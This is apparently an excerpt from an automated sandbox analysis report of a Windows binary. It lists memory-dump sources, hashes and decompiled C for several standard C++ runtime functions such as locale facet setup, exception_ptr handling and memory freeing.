std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AAAA16
std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AAAA2E
std::rethrow_exception.LIBCMTD ref: 00AAAA33
std::_XGetLastError.LIBCPMT ref: 00AAAA38
std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AAAA47

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::exception_ptr::~exception_ptr$std::exception_ptr::exception_ptr$ErrorLaststd::_std::rethrow_exception
String ID:
API String ID: 167599091-0
Opcode ID: 38f39528eec56d837d16247232a459a8f1d52c828376dd840eb235f0f65edc99
Instruction ID: 106fc883e63e0fc5a23f11dcfb57c36c13d9ef3476baaf8a422c00b8926f046d
Opcode Fuzzy Hash: 38f39528eec56d837d16247232a459a8f1d52c828376dd840eb235f0f65edc99
Instruction Fuzzy Hash: F42177B5D00209ABCB04EFA4DA42BFEB7B8BF15350F404229F515A72C1EF359A04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ACF92C, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00ACF92C(intOrPtr __ecx) {
				void* _t30;
				intOrPtr _t36;
				intOrPtr _t37;
				intOrPtr _t45;
				intOrPtr _t46;
				signed int _t48;
				void* _t54;
				void* _t58;
				intOrPtr* _t61;
				void* _t62;
				void* _t66;

				_push(0x34);
				E00ADAF54();
				_t46 = __ecx;
				 *((intOrPtr*)(_t62 - 0x14)) = __ecx;
				_t30 = E00AC7721(_t66, _t62 - 0x40);
				_t48 = 0xb;
				memcpy(_t46 + 0x2c, _t30, _t48 << 2);
				_t58 = E00AFB126(_t54);
				 *((intOrPtr*)(_t46 + 8)) = 0;
				 *((intOrPtr*)(_t46 + 0x10)) = 0;
				 *((intOrPtr*)(_t46 + 0x14)) = 0;
				 *((intOrPtr*)(_t46 + 0x18)) = 0;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				 *((intOrPtr*)(_t46 + 8)) = E00AC344F( *((intOrPtr*)(_t58 + 0x1c)), 0, _t46 + 0x2c);
				E00ACF7C4(_t46, 0, _t58);
				if( *((char*)(_t46 + 0x28)) == 0) {
					_t36 =  *((intOrPtr*)(_t58 + 0x29));
				} else {
					_t36 =  *((intOrPtr*)(_t58 + 0x28));
				}
				_t37 = _t36;
				 *((intOrPtr*)(_t46 + 0x1c)) = _t37;
				if(_t37 < 0 || _t37 >= 0x7f) {
					 *((intOrPtr*)(_t46 + 0x1c)) = 0;
				}
				_t61 = _t46 + 0x20;
				E00AD0C8F(_t46, _t61,  *((char*)(_t58 + 0x2b)),  *((char*)(_t58 + 0x2a)),  *((char*)(_t58 + 0x2e)));
				_t45 = E00AD0C8F(_t46, _t46 + 0x24,  *((char*)(_t58 + 0x2d)),  *((char*)(_t58 + 0x2c)),  *((char*)(_t58 + 0x2f)));
				if( *((char*)(_t62 + 0xc)) != 0) {
					_t45 = 0x76782b24;
					 *_t61 = 0x76782b24;
					 *((intOrPtr*)(_t46 + 0x24)) = 0x76782b24;
				}
				E00ADAEB2();
				return _t45;
			}

0x00acf92c
0x00acf933
0x00acf938
0x00acf93a
0x00acf941
0x00acf948
0x00acf94e
0x00acf955
0x00acf95c
0x00acf960
0x00acf963
0x00acf966
0x00acf96d
0x00acf978
0x00acf97f
0x00acf988
0x00acf98f
0x00acf98a
0x00acf98a
0x00acf98a
0x00acf992
0x00acf995
0x00acf99a
0x00acf9a1
0x00acf9a1
0x00acf9a8
0x00acf9b9
0x00acf9d3
0x00acf9dc
0x00acf9de
0x00acf9e3
0x00acf9e5
0x00acf9e5
0x00acf9e8
0x00acf9ed

APIs

__EH_prolog3_catch.LIBCMT ref: 00ACF933
__Getcvt.LIBCPMT ref: 00ACF941
_Getvals.LIBCPMT ref: 00ACF97F
_Mpunct.LIBCPMT ref: 00ACF9B9
_Mpunct.LIBCPMT ref: 00ACF9D3

Strings

$+xv, xrefs: 00ACF9DE

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Mpunct$GetcvtGetvalsH_prolog3_catch
String ID: $+xv
API String ID: 2208404558-1686923651
Opcode ID: 66990595ec85e71162a121b6d64a63ad195936e800547fc49ec871f37b7ba796
Instruction ID: 9e53a1901edc2b1f8b54d62bc14df417b321baf575d62ab80086282f066b29d1
Opcode Fuzzy Hash: 66990595ec85e71162a121b6d64a63ad195936e800547fc49ec871f37b7ba796
Instruction Fuzzy Hash: D1219DB15045916ECF06DF688980BBB7EE8AF0D300B1542AAF848CA642D734DA12CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00B089C7, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B089C7(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00B08711(_t45, 7);
					E00B08711(_t45 + 0x1c, 7);
					E00B08711(_t45 + 0x38, 0xc);
					E00B08711(_t45 + 0x68, 0xc);
					E00B08711(_t45 + 0x98, 2);
					E00B00B7F( *((intOrPtr*)(_t45 + 0xa0)));
					E00B00B7F( *((intOrPtr*)(_t45 + 0xa4)));
					E00B00B7F( *((intOrPtr*)(_t45 + 0xa8)));
					E00B08711(_t45 + 0xb4, 7);
					E00B08711(_t45 + 0xd0, 7);
					E00B08711(_t45 + 0xec, 0xc);
					E00B08711(_t45 + 0x11c, 0xc);
					E00B08711(_t45 + 0x14c, 2);
					E00B00B7F( *((intOrPtr*)(_t45 + 0x154)));
					E00B00B7F( *((intOrPtr*)(_t45 + 0x158)));
					E00B00B7F( *((intOrPtr*)(_t45 + 0x15c)));
					return E00B00B7F( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00b089cd
0x00b089d2
0x00b089db
0x00b089e6
0x00b089f1
0x00b089fc
0x00b08a0a
0x00b08a15
0x00b08a20
0x00b08a2b
0x00b08a39
0x00b08a47
0x00b08a58
0x00b08a66
0x00b08a74
0x00b08a7f
0x00b08a8a
0x00b08a95
0x00000000
0x00b08aa5
0x00b08aaa

APIs

Part of subcall function 00B08711: _free.LIBCMT ref: 00B08736

_free.LIBCMT ref: 00B08A15

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

_free.LIBCMT ref: 00B08A20
_free.LIBCMT ref: 00B08A2B
_free.LIBCMT ref: 00B08A7F
_free.LIBCMT ref: 00B08A8A
_free.LIBCMT ref: 00B08A95
_free.LIBCMT ref: 00B08AA0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 469041a23d785e25b40a09cbd3c91fced587afa3b1284047a0cba5088f32a748
Instruction ID: fef885a36271dade275de24a6ee57c80dc9cb0fe3e653ea5fab9c43116c4037c
Opcode Fuzzy Hash: 469041a23d785e25b40a09cbd3c91fced587afa3b1284047a0cba5088f32a748
Instruction Fuzzy Hash: B2111F71540B04AADA21BBB4CC47FDB7FDCAF04700FA058A5B3DD6A4E6DA65BA048660

Uniqueness

Uniqueness Score: -1.00%

Function 00AD63C1, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD63C8
std::_Lockit::_Lockit.LIBCPMT ref: 00AD63D2

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD63F2
messages.LIBCPMT ref: 00AD640C
std::_Facet_Register.LIBCPMT ref: 00AD6423
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD6443
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD6461

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmessagesstd::locale::_
String ID:
API String ID: 3236044146-0
Opcode ID: 8759a68a007b992b421002e2f804731a5ecdf1da71ed1b844f374276b5f68ffc
Instruction ID: b6eeaccfa54977aab2894d072336c3454770168e59c8e54db9859312b9a3f849
Opcode Fuzzy Hash: 8759a68a007b992b421002e2f804731a5ecdf1da71ed1b844f374276b5f68ffc
Instruction Fuzzy Hash: B811C2769006198BCF05EBA4CA46BEDB7B5BF84710F15444EF4226B392DF749E01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD65B3, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00AD65B3(void* __edx, void* __eflags) {
				void* _t65;
				void* _t76;
				void* _t87;
				void* _t92;
				void* _t98;
				void* _t127;
				signed int _t155;
				void* _t168;
				void* _t169;
				signed int _t170;
				signed int _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				void* _t183;

				_t168 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94(_t183 - 0x14, 0);
				_t174 =  *0xb45cd4; // 0x0
				 *(_t183 - 4) =  *(_t183 - 4) & 0x00000000;
				 *(_t183 - 0x10) = _t174;
				_t65 = E00AB1310(_t127, 0xb45cb4, _t169, _t174);
				_t130 =  *((intOrPtr*)(_t183 + 8));
				_t170 = E00AC3FEF( *((intOrPtr*)(_t183 + 8)), _t65);
				if(_t170 != 0) {
					L5:
					E00AC2FED(_t183 - 0x14);
					E00ADAEB2();
					return _t170;
				} else {
					if(_t174 == 0) {
						_push( *((intOrPtr*)(_t183 + 8)));
						_push(_t183 - 0x10);
						__eflags = E00AD6B5D(_t130, _t168, _t174) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4(_t183 - 0x20);
							E00AF1677(_t183 - 0x20, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94(_t183 - 0x14, 0);
							_t175 =  *0xb45cd0; // 0x0
							 *(_t183 - 4) =  *(_t183 - 4) & 0x00000000;
							 *(_t183 - 0x10) = _t175;
							_t76 = E00AB1310(_t127, 0xb45cb0, _t170, _t175);
							_t137 =  *((intOrPtr*)(_t183 + 8));
							_t171 = E00AC3FEF( *((intOrPtr*)(_t183 + 8)), _t76);
							__eflags = _t171;
							if(_t171 != 0) {
								L12:
								E00AC2FED(_t183 - 0x14);
								E00ADAEB2();
								return _t171;
							} else {
								__eflags = _t175;
								if(_t175 == 0) {
									_push( *((intOrPtr*)(_t183 + 8)));
									_push(_t183 - 0x10);
									__eflags = E00AD6BE1(_t137, _t168, _t175) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4(_t183 - 0x20);
										E00AF1677(_t183 - 0x20, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94(_t183 - 0x14, 0);
										_t176 =  *0xb45cd8;
										 *(_t183 - 4) =  *(_t183 - 4) & 0x00000000;
										 *(_t183 - 0x10) = _t176;
										_t87 = E00AB1310(_t127, 0xb45cb8, _t171, _t176);
										_t144 =  *((intOrPtr*)(_t183 + 8));
										_t172 = E00AC3FEF( *((intOrPtr*)(_t183 + 8)), _t87);
										__eflags = _t172;
										if(_t172 != 0) {
											L20:
											E00AC2FED(_t183 - 0x14);
											E00ADAEB2();
											return _t172;
										} else {
											__eflags = _t176;
											if(_t176 == 0) {
												_push( *((intOrPtr*)(_t183 + 8)));
												_push(_t183 - 0x10);
												_t92 = L00AD6C66(_t144, _t168);
												__eflags = _t92 - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4(_t183 - 0x20);
													E00AF1677(_t183 - 0x20, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94(_t183 - 0x14, 0);
													_t177 =  *0xb45cdc; // 0x0
													 *(_t183 - 4) =  *(_t183 - 4) & 0x00000000;
													 *(_t183 - 0x10) = _t177;
													_t98 = E00AB1310(_t127, 0xb45cbc, _t172, _t177);
													_t151 =  *((intOrPtr*)(_t183 + 8));
													_t173 = E00AC3FEF( *((intOrPtr*)(_t183 + 8)), _t98);
													__eflags = _t173;
													if(_t173 != 0) {
														L27:
														E00AC2FED(_t183 - 0x14);
														E00ADAEB2();
														return _t173;
													} else {
														__eflags = _t177;
														if(_t177 == 0) {
															_push( *((intOrPtr*)(_t183 + 8)));
															_push(_t183 - 0x10);
															__eflags = E00AD6CD2(_t151, _t168) - 0xffffffff;
															if(__eflags == 0) {
																_t155 = _t183 - 0x20;
																E00AC38B4(_t155);
																E00AF1677(_t183 - 0x20, 0xb3dcf8);
																asm("int3");
																_push(4);
																E00ADAEE9();
																_t178 = _t155;
																 *(_t183 - 0x10) = _t178;
																 *((intOrPtr*)(_t178 + 4)) =  *((intOrPtr*)(_t183 + 0xc));
																_push( *((intOrPtr*)(_t183 + 8)));
																_t61 = _t183 - 4;
																 *_t61 =  *(_t183 - 4) & 0x00000000;
																__eflags =  *_t61;
																 *_t178 = 0xb17060;
																L00AD7B28(_t155);
																E00ADAEB2();
																return _t178;
															} else {
																_t173 =  *(_t183 - 0x10);
																 *(_t183 - 0x10) = _t173;
																 *(_t183 - 4) = 1;
																E00AC70E1(__eflags, _t173);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t173 + 4))))();
																 *0xb45cdc = _t173;
																goto L27;
															}
														} else {
															_t173 = _t177;
															goto L27;
														}
													}
												} else {
													_t172 =  *(_t183 - 0x10);
													 *(_t183 - 0x10) = _t172;
													 *(_t183 - 4) = 1;
													E00AC70E1(__eflags, _t172);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t172 + 4))))();
													 *0xb45cd8 = _t172;
													goto L20;
												}
											} else {
												_t172 = _t176;
												goto L20;
											}
										}
									} else {
										_t171 =  *(_t183 - 0x10);
										 *(_t183 - 0x10) = _t171;
										 *(_t183 - 4) = 1;
										E00AC70E1(__eflags, _t171);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t171 + 4))))();
										 *0xb45cd0 = _t171;
										goto L12;
									}
								} else {
									_t171 = _t175;
									goto L12;
								}
							}
						} else {
							_t170 =  *(_t183 - 0x10);
							 *(_t183 - 0x10) = _t170;
							 *(_t183 - 4) = 1;
							E00AC70E1(__eflags, _t170);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t170 + 4))))();
							 *0xb45cd4 = _t170;
							goto L5;
						}
					} else {
						_t170 = _t174;
						goto L5;
					}
				}
			}

0x00ad65b3
0x00ad65b3
0x00ad65ba
0x00ad65c4
0x00ad65c9
0x00ad65d4
0x00ad65d8
0x00ad65db
0x00ad65e0
0x00ad65e9
0x00ad65ed
0x00ad6632
0x00ad6635
0x00ad663c
0x00ad6641
0x00ad65ef
0x00ad65f1
0x00ad65f7
0x00ad65fd
0x00ad6605
0x00ad6608
0x00ad6645
0x00ad6653
0x00ad6658
0x00ad6659
0x00ad6660
0x00ad666a
0x00ad666f
0x00ad667a
0x00ad667e
0x00ad6681
0x00ad6686
0x00ad668f
0x00ad6691
0x00ad6693
0x00ad66d8
0x00ad66db
0x00ad66e2
0x00ad66e7
0x00ad6695
0x00ad6695
0x00ad6697
0x00ad669d
0x00ad66a3
0x00ad66ab
0x00ad66ae
0x00ad66eb
0x00ad66f9
0x00ad66fe
0x00ad66ff
0x00ad6706
0x00ad6710
0x00ad6715
0x00ad6720
0x00ad6724
0x00ad6727
0x00ad672c
0x00ad6735
0x00ad6737
0x00ad6739
0x00ad677e
0x00ad6781
0x00ad6788
0x00ad678d
0x00ad673b
0x00ad673b
0x00ad673d
0x00ad6743
0x00ad6749
0x00ad674a
0x00ad6751
0x00ad6754
0x00ad6791
0x00ad679f
0x00ad67a4
0x00ad67a5
0x00ad67ac
0x00ad67b6
0x00ad67bb
0x00ad67c6
0x00ad67ca
0x00ad67cd
0x00ad67d2
0x00ad67db
0x00ad67dd
0x00ad67df
0x00ad6824
0x00ad6827
0x00ad682e
0x00ad6833
0x00ad67e1
0x00ad67e1
0x00ad67e3
0x00ad67e9
0x00ad67ef
0x00ad67f7
0x00ad67fa
0x00ad6834
0x00ad6837
0x00ad6845
0x00ad684a
0x00ad684b
0x00ad6852
0x00ad6857
0x00ad6859
0x00ad685f
0x00ad6862
0x00ad6865
0x00ad6865
0x00ad6865
0x00ad6869
0x00ad686f
0x00ad6876
0x00ad687b
0x00ad67fc
0x00ad67fc
0x00ad67ff
0x00ad6803
0x00ad6807
0x00ad6814
0x00ad681c
0x00ad681e
0x00000000
0x00ad681e
0x00ad67e5
0x00ad67e5
0x00000000
0x00ad67e5
0x00ad67e3
0x00ad6756
0x00ad6756
0x00ad6759
0x00ad675d
0x00ad6761
0x00ad676e
0x00ad6776
0x00ad6778
0x00000000
0x00ad6778
0x00ad673f
0x00ad673f
0x00000000
0x00ad673f
0x00ad673d
0x00ad66b0
0x00ad66b0
0x00ad66b3
0x00ad66b7
0x00ad66bb
0x00ad66c8
0x00ad66d0
0x00ad66d2
0x00000000
0x00ad66d2
0x00ad6699
0x00ad6699
0x00000000
0x00ad6699
0x00ad6697
0x00ad660a
0x00ad660a
0x00ad660d
0x00ad6611
0x00ad6615
0x00ad6622
0x00ad662a
0x00ad662c
0x00000000
0x00ad662c
0x00ad65f3
0x00ad65f3
0x00000000
0x00ad65f3
0x00ad65f1

APIs

__EH_prolog3.LIBCMT ref: 00AD65BA
std::_Lockit::_Lockit.LIBCPMT ref: 00AD65C4

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD65E4
moneypunct.LIBCPMT ref: 00AD65FE
std::_Facet_Register.LIBCPMT ref: 00AD6615
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD6635
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD6653

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: 6d108386a833176e7f6ed0a992161ee2e1ada4c178c7603832b30c52349cfa8d
Instruction ID: 22c084584a8e926b637d083790822211459ef35d7e6327f409db1cb9d0d856b5
Opcode Fuzzy Hash: 6d108386a833176e7f6ed0a992161ee2e1ada4c178c7603832b30c52349cfa8d
Instruction Fuzzy Hash: 5111E0769006198BCF04EBA4DA55EEDB3B9AF84310F25000EF522AB392DF74DE04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6659, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00AD6659(void* __edx, void* __eflags) {
				void* _t51;
				void* _t62;
				void* _t67;
				void* _t73;
				void* _t98;
				signed int _t119;
				void* _t129;
				void* _t130;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				void* _t141;

				_t129 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94(_t141 - 0x14, 0);
				_t134 =  *0xb45cd0; // 0x0
				 *(_t141 - 4) =  *(_t141 - 4) & 0x00000000;
				 *(_t141 - 0x10) = _t134;
				_t51 = E00AB1310(_t98, 0xb45cb0, _t130, _t134);
				_t101 =  *((intOrPtr*)(_t141 + 8));
				_t131 = E00AC3FEF( *((intOrPtr*)(_t141 + 8)), _t51);
				if(_t131 != 0) {
					L5:
					E00AC2FED(_t141 - 0x14);
					E00ADAEB2();
					return _t131;
				} else {
					if(_t134 == 0) {
						_push( *((intOrPtr*)(_t141 + 8)));
						_push(_t141 - 0x10);
						__eflags = E00AD6BE1(_t101, _t129, _t134) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4(_t141 - 0x20);
							E00AF1677(_t141 - 0x20, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94(_t141 - 0x14, 0);
							_t135 =  *0xb45cd8;
							 *(_t141 - 4) =  *(_t141 - 4) & 0x00000000;
							 *(_t141 - 0x10) = _t135;
							_t62 = E00AB1310(_t98, 0xb45cb8, _t131, _t135);
							_t108 =  *((intOrPtr*)(_t141 + 8));
							_t132 = E00AC3FEF( *((intOrPtr*)(_t141 + 8)), _t62);
							__eflags = _t132;
							if(_t132 != 0) {
								L13:
								E00AC2FED(_t141 - 0x14);
								E00ADAEB2();
								return _t132;
							} else {
								__eflags = _t135;
								if(_t135 == 0) {
									_push( *((intOrPtr*)(_t141 + 8)));
									_push(_t141 - 0x10);
									_t67 = L00AD6C66(_t108, _t129);
									__eflags = _t67 - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4(_t141 - 0x20);
										E00AF1677(_t141 - 0x20, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94(_t141 - 0x14, 0);
										_t136 =  *0xb45cdc; // 0x0
										 *(_t141 - 4) =  *(_t141 - 4) & 0x00000000;
										 *(_t141 - 0x10) = _t136;
										_t73 = E00AB1310(_t98, 0xb45cbc, _t132, _t136);
										_t115 =  *((intOrPtr*)(_t141 + 8));
										_t133 = E00AC3FEF( *((intOrPtr*)(_t141 + 8)), _t73);
										__eflags = _t133;
										if(_t133 != 0) {
											L20:
											E00AC2FED(_t141 - 0x14);
											E00ADAEB2();
											return _t133;
										} else {
											__eflags = _t136;
											if(_t136 == 0) {
												_push( *((intOrPtr*)(_t141 + 8)));
												_push(_t141 - 0x10);
												__eflags = E00AD6CD2(_t115, _t129) - 0xffffffff;
												if(__eflags == 0) {
													_t119 = _t141 - 0x20;
													E00AC38B4(_t119);
													E00AF1677(_t141 - 0x20, 0xb3dcf8);
													asm("int3");
													_push(4);
													E00ADAEE9();
													_t137 = _t119;
													 *(_t141 - 0x10) = _t137;
													 *((intOrPtr*)(_t137 + 4)) =  *((intOrPtr*)(_t141 + 0xc));
													_push( *((intOrPtr*)(_t141 + 8)));
													_t47 = _t141 - 4;
													 *_t47 =  *(_t141 - 4) & 0x00000000;
													__eflags =  *_t47;
													 *_t137 = 0xb17060;
													L00AD7B28(_t119);
													E00ADAEB2();
													return _t137;
												} else {
													_t133 =  *(_t141 - 0x10);
													 *(_t141 - 0x10) = _t133;
													 *(_t141 - 4) = 1;
													E00AC70E1(__eflags, _t133);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t133 + 4))))();
													 *0xb45cdc = _t133;
													goto L20;
												}
											} else {
												_t133 = _t136;
												goto L20;
											}
										}
									} else {
										_t132 =  *(_t141 - 0x10);
										 *(_t141 - 0x10) = _t132;
										 *(_t141 - 4) = 1;
										E00AC70E1(__eflags, _t132);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t132 + 4))))();
										 *0xb45cd8 = _t132;
										goto L13;
									}
								} else {
									_t132 = _t135;
									goto L13;
								}
							}
						} else {
							_t131 =  *(_t141 - 0x10);
							 *(_t141 - 0x10) = _t131;
							 *(_t141 - 4) = 1;
							E00AC70E1(__eflags, _t131);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t131 + 4))))();
							 *0xb45cd0 = _t131;
							goto L5;
						}
					} else {
						_t131 = _t134;
						goto L5;
					}
				}
			}

0x00ad6659
0x00ad6659
0x00ad6660
0x00ad666a
0x00ad666f
0x00ad667a
0x00ad667e
0x00ad6681
0x00ad6686
0x00ad668f
0x00ad6693
0x00ad66d8
0x00ad66db
0x00ad66e2
0x00ad66e7
0x00ad6695
0x00ad6697
0x00ad669d
0x00ad66a3
0x00ad66ab
0x00ad66ae
0x00ad66eb
0x00ad66f9
0x00ad66fe
0x00ad66ff
0x00ad6706
0x00ad6710
0x00ad6715
0x00ad6720
0x00ad6724
0x00ad6727
0x00ad672c
0x00ad6735
0x00ad6737
0x00ad6739
0x00ad677e
0x00ad6781
0x00ad6788
0x00ad678d
0x00ad673b
0x00ad673b
0x00ad673d
0x00ad6743
0x00ad6749
0x00ad674a
0x00ad6751
0x00ad6754
0x00ad6791
0x00ad679f
0x00ad67a4
0x00ad67a5
0x00ad67ac
0x00ad67b6
0x00ad67bb
0x00ad67c6
0x00ad67ca
0x00ad67cd
0x00ad67d2
0x00ad67db
0x00ad67dd
0x00ad67df
0x00ad6824
0x00ad6827
0x00ad682e
0x00ad6833
0x00ad67e1
0x00ad67e1
0x00ad67e3
0x00ad67e9
0x00ad67ef
0x00ad67f7
0x00ad67fa
0x00ad6834
0x00ad6837
0x00ad6845
0x00ad684a
0x00ad684b
0x00ad6852
0x00ad6857
0x00ad6859
0x00ad685f
0x00ad6862
0x00ad6865
0x00ad6865
0x00ad6865
0x00ad6869
0x00ad686f
0x00ad6876
0x00ad687b
0x00ad67fc
0x00ad67fc
0x00ad67ff
0x00ad6803
0x00ad6807
0x00ad6814
0x00ad681c
0x00ad681e
0x00000000
0x00ad681e
0x00ad67e5
0x00ad67e5
0x00000000
0x00ad67e5
0x00ad67e3
0x00ad6756
0x00ad6756
0x00ad6759
0x00ad675d
0x00ad6761
0x00ad676e
0x00ad6776
0x00ad6778
0x00000000
0x00ad6778
0x00ad673f
0x00ad673f
0x00000000
0x00ad673f
0x00ad673d
0x00ad66b0
0x00ad66b0
0x00ad66b3
0x00ad66b7
0x00ad66bb
0x00ad66c8
0x00ad66d0
0x00ad66d2
0x00000000
0x00ad66d2
0x00ad6699
0x00ad6699
0x00000000
0x00ad6699
0x00ad6697

APIs

__EH_prolog3.LIBCMT ref: 00AD6660
std::_Lockit::_Lockit.LIBCPMT ref: 00AD666A

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AD668A
moneypunct.LIBCPMT ref: 00AD66A4
std::_Facet_Register.LIBCPMT ref: 00AD66BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD66DB
